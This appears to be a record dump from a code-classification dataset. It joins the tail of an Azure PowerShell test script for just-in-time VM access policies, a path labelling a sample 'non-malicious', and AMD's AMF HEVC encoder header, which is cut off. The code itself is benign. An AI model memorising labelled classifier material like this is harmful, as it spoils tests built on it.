Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $rgName = Get-TestResourceGroupName Remove-AzJitNetworkAccessPolicy -ResourceId $jitNetworkAccessPolicy.Id } function Start-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource { $jitNetworkAccessPolicy = Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $rgName = Get-TestResourceGroupName [Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyInitiateVirtualMachine]$vm = New-Object -TypeName Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyInitiateVirtualMachine $vm.Id = "/subscriptions/487bb485-b5b0-471e-9c0d-10717612f869/resourceGroups/myService1/providers/Microsoft.Compute/virtualMachines/testService" [Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyInitiatePort]$port = New-Object -TypeName Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyInitiatePort $port.AllowedSourceAddressPrefix = "127.0.0.1" $port.EndTimeUtc = [DateTime]::UtcNow.AddHours(2) $port.Number = 22 $vm.Ports = (,$port) Start-AzJitNetworkAccessPolicy -ResourceGroupName $rgName -Location "centralus" -Name "default" -VirtualMachine (,$vm) } function Validate-JitNetworkAccessPolicies { param($jitNetworkAccessPolicies) Assert-True { $jitNetworkAccessPolicies.Count -gt 0 } Foreach($jitNetworkAccessPolicy in $jitNetworkAccessPolicies) { Validate-JitNetworkAccessPolicy $jitNetworkAccessPolicy } } function Validate-JitNetworkAccessPolicy { param($jitNetworkAccessPolicy) Assert-NotNull $jitNetworkAccessPolicy }
combined_dataset/train/non-malicious/sample_22_85.ps1
sample_22_85.ps1
// // Copyright (c) 2018 Advanced Micro Devices, Inc. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // //------------------------------------------------------------------------------------------------- // VideoEncoderHW_HEVC interface declaration //------------------------------------------------------------------------------------------------- #ifndef AMF_VideoEncoderHEVC_h #define AMF_VideoEncoderHEVC_h #pragma once #include "Component.h" #include "ColorSpace.h" #include "PreAnalysis.h" #define AMFVideoEncoder_HEVC L"AMFVideoEncoderHW_HEVC" enum AMF_VIDEO_ENCODER_HEVC_USAGE_ENUM { AMF_VIDEO_ENCODER_HEVC_USAGE_TRANSCONDING = 0, // kept for backwards compatability AMF_VIDEO_ENCODER_HEVC_USAGE_TRANSCODING = 0, // fixed typo AMF_VIDEO_ENCODER_HEVC_USAGE_ULTRA_LOW_LATENCY, AMF_VIDEO_ENCODER_HEVC_USAGE_LOW_LATENCY, AMF_VIDEO_ENCODER_HEVC_USAGE_WEBCAM, AMF_VIDEO_ENCODER_HEVC_USAGE_HIGH_QUALITY, AMF_VIDEO_ENCODER_HEVC_USAGE_LOW_LATENCY_HIGH_QUALITY }; enum AMF_VIDEO_ENCODER_HEVC_PROFILE_ENUM { AMF_VIDEO_ENCODER_HEVC_PROFILE_MAIN = 1, AMF_VIDEO_ENCODER_HEVC_PROFILE_MAIN_10 = 2 }; enum AMF_VIDEO_ENCODER_HEVC_TIER_ENUM { AMF_VIDEO_ENCODER_HEVC_TIER_MAIN = 0, AMF_VIDEO_ENCODER_HEVC_TIER_HIGH = 1 }; enum AMF_VIDEO_ENCODER_LEVEL_ENUM { AMF_LEVEL_1 = 30, AMF_LEVEL_2 = 60, AMF_LEVEL_2_1 = 63, AMF_LEVEL_3 = 90, AMF_LEVEL_3_1 = 93, AMF_LEVEL_4 = 120, AMF_LEVEL_4_1 = 123, AMF_LEVEL_5 = 150, AMF_LEVEL_5_1 = 153, AMF_LEVEL_5_2 = 156, AMF_LEVEL_6 = 180, AMF_LEVEL_6_1 = 183, AMF_LEVEL_6_2 = 186 }; enum AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_ENUM { AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_UNKNOWN = -1, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_CONSTANT_QP = 0, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_LATENCY_CONSTRAINED_VBR, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_PEAK_CONSTRAINED_VBR, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_CBR, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_QUALITY_VBR, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_HIGH_QUALITY_VBR, AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_HIGH_QUALITY_CBR }; enum AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_ENUM { AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_NONE = 0, AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_SKIP, AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_IDR, AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_I, AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_P }; enum AMF_VIDEO_ENCODER_HEVC_OUTPUT_DATA_TYPE_ENUM { AMF_VIDEO_ENCODER_HEVC_OUTPUT_DATA_TYPE_IDR, AMF_VIDEO_ENCODER_HEVC_OUTPUT_DATA_TYPE_I, AMF_VIDEO_ENCODER_HEVC_OUTPUT_DATA_TYPE_P }; enum AMF_VIDEO_ENCODER_HEVC_QUALITY_PRESET_ENUM { AMF_VIDEO_ENCODER_HEVC_QUALITY_PRESET_QUALITY = 0, AMF_VIDEO_ENCODER_HEVC_QUALITY_PRESET_BALANCED = 5, AMF_VIDEO_ENCODER_HEVC_QUALITY_PRESET_SPEED = 10 }; enum AMF_VIDEO_ENCODER_HEVC_HEADER_INSERTION_MODE_ENUM { AMF_VIDEO_ENCODER_HEVC_HEADER_INSERTION_MODE_NONE = 0, AMF_VIDEO_ENCODER_HEVC_HEADER_INSERTION_MODE_GOP_ALIGNED, AMF_VIDEO_ENCODER_HEVC_HEADER_INSERTION_MODE_IDR_ALIGNED }; enum AMF_VIDEO_ENCODER_HEVC_PICTURE_TRANSFER_MODE_ENUM { AMF_VIDEO_ENCODER_HEVC_PICTURE_TRANSFER_MODE_OFF = 0, AMF_VIDEO_ENCODER_HEVC_PICTURE_TRANSFER_MODE_ON }; enum AMF_VIDEO_ENCODER_HEVC_NOMINAL_RANGE { AMF_VIDEO_ENCODER_HEVC_NOMINAL_RANGE_STUDIO = 0, AMF_VIDEO_ENCODER_HEVC_NOMINAL_RANGE_FULL = 1 }; enum AMF_VIDEO_ENCODER_HEVC_LTR_MODE_ENUM { AMF_VIDEO_ENCODER_HEVC_LTR_MODE_RESET_UNUSED = 0, AMF_VIDEO_ENCODER_HEVC_LTR_MODE_KEEP_UNUSED }; enum AMF_VIDEO_ENCODER_HEVC_OUTPUT_MODE_ENUM { AMF_VIDEO_ENCODER_HEVC_OUTPUT_MODE_FRAME = 0, AMF_VIDEO_ENCODER_HEVC_OUTPUT_MODE_SLICE = 1 }; enum AMF_VIDEO_ENCODER_HEVC_OUTPUT_BUFFER_TYPE_ENUM { AMF_VIDEO_ENCODER_HEVC_OUTPUT_BUFFER_TYPE_FRAME = 0, AMF_VIDEO_ENCODER_HEVC_OUTPUT_BUFFER_TYPE_SLICE = 1, AMF_VIDEO_ENCODER_HEVC_OUTPUT_BUFFER_TYPE_SLICE_LAST = 2 }; // Static properties - can be set before Init() #define AMF_VIDEO_ENCODER_HEVC_INSTANCE_INDEX L"HevcEncoderInstance" // amf_int64; selected instance idx #define AMF_VIDEO_ENCODER_HEVC_FRAMESIZE L"HevcFrameSize" // AMFSize; default = 0,0; Frame size #define AMF_VIDEO_ENCODER_HEVC_USAGE L"HevcUsage" // amf_int64(AMF_VIDEO_ENCODER_HEVC_USAGE_ENUM); default = N/A; Encoder usage type. fully configures parameter set. #define AMF_VIDEO_ENCODER_HEVC_PROFILE L"HevcProfile" // amf_int64(AMF_VIDEO_ENCODER_HEVC_PROFILE_ENUM) ; default = AMF_VIDEO_ENCODER_HEVC_PROFILE_MAIN; #define AMF_VIDEO_ENCODER_HEVC_TIER L"HevcTier" // amf_int64(AMF_VIDEO_ENCODER_HEVC_TIER_ENUM) ; default = AMF_VIDEO_ENCODER_HEVC_TIER_MAIN; #define AMF_VIDEO_ENCODER_HEVC_PROFILE_LEVEL L"HevcProfileLevel" // amf_int64 (AMF_VIDEO_ENCODER_LEVEL_ENUM, default depends on HW capabilities); #define AMF_VIDEO_ENCODER_HEVC_MAX_LTR_FRAMES L"HevcMaxOfLTRFrames" // amf_int64; default = 0; Max number of LTR frames #define AMF_VIDEO_ENCODER_HEVC_LTR_MODE L"HevcLTRMode" // amf_int64(AMF_VIDEO_ENCODER_HEVC_LTR_MODE_ENUM); default = AMF_VIDEO_ENCODER_HEVC_LTR_MODE_RESET_UNUSED; remove/keep unused LTRs (not specified in property AMF_VIDEO_ENCODER_HEVC_FORCE_LTR_REFERENCE_BITFIELD) #define AMF_VIDEO_ENCODER_HEVC_MAX_NUM_REFRAMES L"HevcMaxNumRefFrames" // amf_int64; default = 1; Maximum number of reference frames #define AMF_VIDEO_ENCODER_HEVC_QUALITY_PRESET L"HevcQualityPreset" // amf_int64(AMF_VIDEO_ENCODER_HEVC_QUALITY_PRESET_ENUM); default = depends on USAGE; Quality Preset #define AMF_VIDEO_ENCODER_HEVC_EXTRADATA L"HevcExtraData" // AMFInterface* - > AMFBuffer*; SPS/PPS buffer - read-only #define AMF_VIDEO_ENCODER_HEVC_ASPECT_RATIO L"HevcAspectRatio" // AMFRatio; default = 1, 1 #define AMF_VIDEO_ENCODER_HEVC_LOWLATENCY_MODE L"LowLatencyInternal" // bool; default = false, enables low latency mode #define AMF_VIDEO_ENCODER_HEVC_PRE_ANALYSIS_ENABLE L"HevcEnablePreAnalysis" // bool; default = false; enables the pre-analysis module. Currently only works in AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_PEAK_CONSTRAINED_VBR mode. Refer to AMF Video PreAnalysis API reference for more details. #define AMF_VIDEO_ENCODER_HEVC_NOMINAL_RANGE L"HevcNominalRange" // amf_int64(AMF_VIDEO_ENCODER_HEVC_NOMINAL_RANGE); default = amf_int64(AMF_VIDEO_ENCODER_HEVC_NOMINAL_RANGE_STUDIO); property is bool but amf_int64 also works for backward compatibility. #define AMF_VIDEO_ENCODER_HEVC_MAX_NUM_TEMPORAL_LAYERS L"HevcMaxNumOfTemporalLayers" // amf_int64; default = 1; Max number of temporal layers. // Picture control properties #define AMF_VIDEO_ENCODER_HEVC_NUM_GOPS_PER_IDR L"HevcGOPSPerIDR" // amf_int64; default = 1; The frequency to insert IDR as start of a GOP. 0 means no IDR will be inserted. #define AMF_VIDEO_ENCODER_HEVC_GOP_SIZE L"HevcGOPSize" // amf_int64; default = 60; GOP Size, in frames #define AMF_VIDEO_ENCODER_HEVC_DE_BLOCKING_FILTER_DISABLE L"HevcDeBlockingFilter" // bool; default = depends on USAGE; De-blocking Filter #define AMF_VIDEO_ENCODER_HEVC_SLICES_PER_FRAME L"HevcSlicesPerFrame" // amf_int64; default = 1; Number of slices Per Frame #define AMF_VIDEO_ENCODER_HEVC_HEADER_INSERTION_MODE L"HevcHeaderInsertionMode" // amf_int64(AMF_VIDEO_ENCODER_HEVC_HEADER_INSERTION_MODE_ENUM); default = NONE #define AMF_VIDEO_ENCODER_HEVC_INTRA_REFRESH_NUM_CTBS_PER_SLOT L"HevcIntraRefreshCTBsNumberPerSlot" // amf_int64; default = depends on USAGE; Intra Refresh CTBs Number Per Slot in 64x64 CTB // Rate control properties #define AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD L"HevcRateControlMethod" // amf_int64(AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_METHOD_ENUM); default = depends on USAGE; Rate Control Method #define AMF_VIDEO_ENCODER_HEVC_QVBR_QUALITY_LEVEL L"HevcQvbrQualityLevel" // amf_int64; default = 23; QVBR quality level; range = 1-51 #define AMF_VIDEO_ENCODER_HEVC_VBV_BUFFER_SIZE L"HevcVBVBufferSize" // amf_int64; default = depends on USAGE; VBV Buffer Size in bits #define AMF_VIDEO_ENCODER_HEVC_INITIAL_VBV_BUFFER_FULLNESS L"HevcInitialVBVBufferFullness" // amf_int64; default = 64; Initial VBV Buffer Fullness 0=0% 64=100% #define AMF_VIDEO_ENCODER_HEVC_ENABLE_VBAQ L"HevcEnableVBAQ" // // bool; default = depends on USAGE; Enable auto VBAQ #define AMF_VIDEO_ENCODER_HEVC_HIGH_MOTION_QUALITY_BOOST_ENABLE L"HevcHighMotionQualityBoostEnable"// bool; default = depends on USAGE; Enable High motion quality boost mode #define AMF_VIDEO_ENCODER_HEVC_PREENCODE_ENABLE L"HevcRateControlPreAnalysisEnable" // bool; default = depends on USAGE; enables pre-encode assisted rate control #define AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_PREANALYSIS_ENABLE L"HevcRateControlPreAnalysisEnable" // bool; default = depends on USAGE; enables pre-encode assisted rate control. Deprecated, please use AMF_VIDEO_ENCODER_PREENCODE_ENABLE instead. #ifdef _MSC_VER #ifndef __clang__ #pragma deprecated("AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_PREANALYSIS_ENABLE") #endif #endif // Motion estimation #define AMF_VIDEO_ENCODER_HEVC_MOTION_HALF_PIXEL L"HevcHalfPixel" // bool; default= true; Half Pixel #define AMF_VIDEO_ENCODER_HEVC_MOTION_QUARTERPIXEL L"HevcQuarterPixel" // bool; default= true; Quarter Pixel // color conversion #define AMF_VIDEO_ENCODER_HEVC_COLOR_BIT_DEPTH L"HevcColorBitDepth" // amf_int64(AMF_COLOR_BIT_DEPTH_ENUM); default = AMF_COLOR_BIT_DEPTH_8 #define AMF_VIDEO_ENCODER_HEVC_INPUT_COLOR_PROFILE L"HevcInColorProfile" // amf_int64(AMF_VIDEO_CONVERTER_COLOR_PROFILE_ENUM); default = AMF_VIDEO_CONVERTER_COLOR_PROFILE_UNKNOWN - mean AUTO by size #define AMF_VIDEO_ENCODER_HEVC_INPUT_TRANSFER_CHARACTERISTIC L"HevcInColorTransferChar" // amf_int64(AMF_COLOR_TRANSFER_CHARACTERISTIC_ENUM); default = AMF_COLOR_TRANSFER_CHARACTERISTIC_UNDEFINED, ISO/IEC 23001-8_2013 section 7.2 See VideoDecoderUVD.h for enum #define AMF_VIDEO_ENCODER_HEVC_INPUT_COLOR_PRIMARIES L"HevcInColorPrimaries" // amf_int64(AMF_COLOR_PRIMARIES_ENUM); default = AMF_COLOR_PRIMARIES_UNDEFINED, ISO/IEC 23001-8_2013 section 7.1 See ColorSpace.h for enum #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_COLOR_PROFILE L"HevcOutColorProfile" // amf_int64(AMF_VIDEO_CONVERTER_COLOR_PROFILE_ENUM); default = AMF_VIDEO_CONVERTER_COLOR_PROFILE_UNKNOWN - mean AUTO by size #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_TRANSFER_CHARACTERISTIC L"HevcOutColorTransferChar" // amf_int64(AMF_COLOR_TRANSFER_CHARACTERISTIC_ENUM); default = AMF_COLOR_TRANSFER_CHARACTERISTIC_UNDEFINED, ISO/IEC 23001-8_2013 ?7.2 See VideoDecoderUVD.h for enum #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_COLOR_PRIMARIES L"HevcOutColorPrimaries" // amf_int64(AMF_COLOR_PRIMARIES_ENUM); default = AMF_COLOR_PRIMARIES_UNDEFINED, ISO/IEC 23001-8_2013 section 7.1 See ColorSpace.h for enum // Slice output #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_MODE L"HevcOutputMode" // amf_int64(AMF_VIDEO_ENCODER_HEVC_OUTPUT_MODE_ENUM); default = AMF_VIDEO_ENCODER_HEVC_OUTPUT_MODE_FRAME - defines encoder output mode // Dynamic properties - can be set at any time // Rate control properties #define AMF_VIDEO_ENCODER_HEVC_FRAMERATE L"HevcFrameRate" // AMFRate; default = depends on usage; Frame Rate #define AMF_VIDEO_ENCODER_HEVC_ENFORCE_HRD L"HevcEnforceHRD" // bool; default = depends on USAGE; Enforce HRD #define AMF_VIDEO_ENCODER_HEVC_FILLER_DATA_ENABLE L"HevcFillerDataEnable" // bool; default = depends on USAGE; Enforce HRD #define AMF_VIDEO_ENCODER_HEVC_TARGET_BITRATE L"HevcTargetBitrate" // amf_int64; default = depends on USAGE; Target bit rate in bits #define AMF_VIDEO_ENCODER_HEVC_PEAK_BITRATE L"HevcPeakBitrate" // amf_int64; default = depends on USAGE; Peak bit rate in bits #define AMF_VIDEO_ENCODER_HEVC_MAX_AU_SIZE L"HevcMaxAUSize" // amf_int64; default = 60; Max AU Size in bits #define AMF_VIDEO_ENCODER_HEVC_MIN_QP_I L"HevcMinQP_I" // amf_int64; default = depends on USAGE; Min QP; range = #define AMF_VIDEO_ENCODER_HEVC_MAX_QP_I L"HevcMaxQP_I" // amf_int64; default = depends on USAGE; Max QP; range = #define AMF_VIDEO_ENCODER_HEVC_MIN_QP_P L"HevcMinQP_P" // amf_int64; default = depends on USAGE; Min QP; range = #define AMF_VIDEO_ENCODER_HEVC_MAX_QP_P L"HevcMaxQP_P" // amf_int64; default = depends on USAGE; Max QP; range = #define AMF_VIDEO_ENCODER_HEVC_QP_I L"HevcQP_I" // amf_int64; default = 26; P-frame QP; range = 0-51 #define AMF_VIDEO_ENCODER_HEVC_QP_P L"HevcQP_P" // amf_int64; default = 26; P-frame QP; range = 0-51 #define AMF_VIDEO_ENCODER_HEVC_RATE_CONTROL_SKIP_FRAME_ENABLE L"HevcRateControlSkipFrameEnable" // bool; default = depends on USAGE; Rate Control Based Frame Skip // color conversion #define AMF_VIDEO_ENCODER_HEVC_INPUT_HDR_METADATA L"HevcInHDRMetadata" // AMFBuffer containing AMFHDRMetadata; default NULL //#define AMF_VIDEO_ENCODER_HEVC_OUTPUT_HDR_METADATA L"HevcOutHDRMetadata" // AMFBuffer containing AMFHDRMetadata; default NULL // SVC #define AMF_VIDEO_ENCODER_HEVC_NUM_TEMPORAL_LAYERS L"HevcNumOfTemporalLayers" // amf_int64; default = 1; Number of temporal layers. Can be changed at any time but the change is only applied when encoding next base layer frame. // DPB management #define AMF_VIDEO_ENCODER_HEVC_PICTURE_TRANSFER_MODE L"HevcPicTransferMode" // amf_int64(AMF_VIDEO_ENCODER_HEVC_PICTURE_TRANSFER_MODE_ENUM); default = AMF_VIDEO_ENCODER_HEVC_PICTURE_TRANSFER_MODE_OFF - whether to exchange reference/reconstructed pic between encoder and application // misc #define AMF_VIDEO_ENCODER_HEVC_QUERY_TIMEOUT L"HevcQueryTimeout" // amf_int64; default = 0 (no wait); timeout for QueryOutput call in ms. #define AMF_VIDEO_ENCODER_HEVC_MEMORY_TYPE L"HevcEncoderMemoryType" // amf_int64(AMF_MEMORY_TYPE) , default is AMF_MEMORY_UNKNOWN, Values : AMF_MEMORY_DX11, AMF_MEMORY_DX9, AMF_MEMORY_UNKNOWN (auto) #define AMF_VIDEO_ENCODER_HEVC_ENABLE_SMART_ACCESS_VIDEO L"HevcEnableEncoderSmartAccessVideo" // amf_bool; default = false; true = enables smart access video feature #define AMF_VIDEO_ENCODER_HEVC_INPUT_QUEUE_SIZE L"HevcInputQueueSize" // amf_int64; default 16; Set amf input queue size // Per-submission properties - can be set on input surface interface #define AMF_VIDEO_ENCODER_HEVC_END_OF_SEQUENCE L"HevcEndOfSequence" // bool; default = false; generate end of sequence #define AMF_VIDEO_ENCODER_HEVC_FORCE_PICTURE_TYPE L"HevcForcePictureType" // amf_int64(AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_ENUM); default = AMF_VIDEO_ENCODER_HEVC_PICTURE_TYPE_NONE; generate particular picture type #define AMF_VIDEO_ENCODER_HEVC_INSERT_AUD L"HevcInsertAUD" // bool; default = false; insert AUD #define AMF_VIDEO_ENCODER_HEVC_INSERT_HEADER L"HevcInsertHeader" // bool; default = false; insert header(SPS, PPS, VPS) #define AMF_VIDEO_ENCODER_HEVC_MARK_CURRENT_WITH_LTR_INDEX L"HevcMarkCurrentWithLTRIndex" // amf_int64; default = N/A; Mark current frame with LTR index #define AMF_VIDEO_ENCODER_HEVC_FORCE_LTR_REFERENCE_BITFIELD L"HevcForceLTRReferenceBitfield"// amf_int64; default = 0; force LTR bit-field #define AMF_VIDEO_ENCODER_HEVC_ROI_DATA L"HevcROIData" // 2D AMFSurface, surface format: AMF_SURFACE_GRAY32 #define AMF_VIDEO_ENCODER_HEVC_REFERENCE_PICTURE L"HevcReferencePicture" // AMFInterface(AMFSurface); surface used for frame injection #define AMF_VIDEO_ENCODER_HEVC_PSNR_FEEDBACK L"HevcPSNRFeedback" // amf_bool; default = false; Signal encoder to calculate PSNR score #define AMF_VIDEO_ENCODER_HEVC_SSIM_FEEDBACK L"HevcSSIMFeedback" // amf_bool; default = false; Signal encoder to calculate SSIM score #define AMF_VIDEO_ENCODER_HEVC_STATISTICS_FEEDBACK L"HevcStatisticsFeedback" // amf_bool; default = false; Signal encoder to collect and feedback encoder statistics #define AMF_VIDEO_ENCODER_HEVC_BLOCK_QP_FEEDBACK L"HevcBlockQpFeedback" // amf_bool; default = false; Signal encoder to collect and feedback block level QP values // Properties set by encoder on output buffer interface #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_DATA_TYPE L"HevcOutputDataType" // amf_int64(AMF_VIDEO_ENCODER_HEVC_OUTPUT_DATA_TYPE_ENUM); default = N/A #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_MARKED_LTR_INDEX L"HevcMarkedLTRIndex" // amf_int64; default = -1; Marked LTR index #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_REFERENCED_LTR_INDEX_BITFIELD L"HevcReferencedLTRIndexBitfield"// amf_int64; default = 0; referenced LTR bit-field #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_TEMPORAL_LAYER L"HevcOutputTemporalLayer" // amf_int64; Temporal layer #define AMF_VIDEO_ENCODER_HEVC_OUTPUT_BUFFER_TYPE L"HevcOutputBufferType" // amf_int64(AMF_VIDEO_ENCODER_HEVC_OUTPUT_BUFFER_TYPE_ENUM); encoder output buffer type #define AMF_VIDEO_ENCODER_HEVC_RECONSTRUCTED_PICTURE L"HevcReconstructedPicture" // AMFInterface(AMFSurface); returns reconstructed picture as an AMFSurface attached to the output buffer as property AMF_VIDEO_ENCODER_RECONSTRUCTED_PICTURE of AMFInterface type #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PSNR_Y L"PSNRY" // double; PSNR Y #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PSNR_U L"PSNRU" // double; PSNR U #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PSNR_V L"PSNRV" // double; PSNR V #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PSNR_ALL L"PSNRALL" // double; PSNR All #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SSIM_Y L"SSIMY" // double; SSIM Y #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SSIM_U L"SSIMU" // double; SSIM U #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SSIM_V L"SSIMV" // double; SSIM V #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SSIM_ALL L"SSIMALL" // double; SSIM ALL // Encoder statistics feedback #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_FRAME_QP L"HevcStatisticsFeedbackFrameQP" // amf_int64; Rate control base frame/initial QP #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_AVERAGE_QP L"HevcStatisticsFeedbackAvgQP" // amf_int64; Average QP of all encoded CTBs in a picture. Value may be different from the one reported by bitstream analyzer when there are skipped CTBs. #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_MAX_QP L"HevcStatisticsFeedbackMaxQP" // amf_int64; Max QP among all encoded CTBs in a picture. Value may be different from the one reported by bitstream analyzer when there are skipped CTBs. #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_MIN_QP L"HevcStatisticsFeedbackMinQP" // amf_int64; Min QP among all encoded CTBs in a picture. Value may be different from the one reported by bitstream analyzer when there are skipped CTBs. #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PIX_NUM_INTRA L"HevcStatisticsFeedbackPixNumIntra" // amf_int64; Number of the intra encoded pixels #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PIX_NUM_INTER L"HevcStatisticsFeedbackPixNumInter" // amf_int64; Number of the inter encoded pixels #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_PIX_NUM_SKIP L"HevcStatisticsFeedbackPixNumSkip" // amf_int64; Number of the skip mode pixels #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_BITCOUNT_RESIDUAL L"HevcStatisticsFeedbackBitcountResidual" // amf_int64; The bit count that corresponds to residual data #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_BITCOUNT_MOTION L"HevcStatisticsFeedbackBitcountMotion" // amf_int64; The bit count that corresponds to motion vectors #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_BITCOUNT_INTER L"HevcStatisticsFeedbackBitcountInter" // amf_int64; The bit count that are assigned to inter CTBs #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_BITCOUNT_INTRA L"HevcStatisticsFeedbackBitcountIntra" // amf_int64; The bit count that are assigned to intra CTBs #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_BITCOUNT_ALL_MINUS_HEADER L"HevcStatisticsFeedbackBitcountAllMinusHeader" // amf_int64; The bit count of the bitstream excluding header #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_MV_X L"HevcStatisticsFeedbackMvX" // amf_int64; Accumulated absolute values of horizontal MV's #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_MV_Y L"HevcStatisticsFeedbackMvY" // amf_int64; Accumulated absolute values of vertical MV's #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_RD_COST_FINAL L"HevcStatisticsFeedbackRdCostFinal" // amf_int64; Frame level final RD cost for full encoding #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_RD_COST_INTRA L"HevcStatisticsFeedbackRdCostIntra" // amf_int64; Frame level intra RD cost for full encoding #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_RD_COST_INTER L"HevcStatisticsFeedbackRdCostInter" // amf_int64; Frame level inter RD cost for full encoding #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SAD_FINAL L"HevcStatisticsFeedbackSadFinal" // amf_int64; Frame level final SAD for full encoding #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SAD_INTRA L"HevcStatisticsFeedbackSadIntra" // amf_int64; Frame level intra SAD for full encoding #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_SAD_INTER L"HevcStatisticsFeedbackSadInter" // amf_int64; Frame level inter SAD for full encoding #define AMF_VIDEO_ENCODER_HEVC_STATISTIC_VARIANCE L"HevcStatisticsFeedbackVariance" // amf_int64; Frame level variance for full encoding // Encoder block level feedback #define AMF_VIDEO_ENCODER_HEVC_BLOCK_QP_MAP L"HevcBlockQpMap" // AMFInterface(AMFSurface); AMFSurface of format AMF_SURFACE_GRAY32 containing block level QP values // HEVC Encoder capabilities - exposed in AMFCaps interface #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_BITRATE L"HevcMaxBitrate" // amf_int64; Maximum bit rate in bits #define AMF_VIDEO_ENCODER_HEVC_CAP_NUM_OF_STREAMS L"HevcNumOfStreams" // amf_int64; maximum number of encode streams supported #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_PROFILE L"HevcMaxProfile" // amf_int64(AMF_VIDEO_ENCODER_HEVC_PROFILE_ENUM) #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_TIER L"HevcMaxTier" // amf_int64(AMF_VIDEO_ENCODER_HEVC_TIER_ENUM) maximum profile tier #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_LEVEL L"HevcMaxLevel" // amf_int64 maximum profile level #define AMF_VIDEO_ENCODER_HEVC_CAP_MIN_REFERENCE_FRAMES L"HevcMinReferenceFrames" // amf_int64 minimum number of reference frames #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_REFERENCE_FRAMES L"HevcMaxReferenceFrames" // amf_int64 maximum number of reference frames #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_TEMPORAL_LAYERS L"HevcMaxTemporalLayers" // amf_int64 maximum number of temporal layers #define AMF_VIDEO_ENCODER_HEVC_CAP_NUM_OF_HW_INSTANCES L"HevcNumOfHwInstances" // amf_int64 number of HW encoder instances #define AMF_VIDEO_ENCODER_HEVC_CAP_COLOR_CONVERSION L"HevcColorConversion" // amf_int64(AMF_ACCELERATION_TYPE) - type of supported color conversion. default 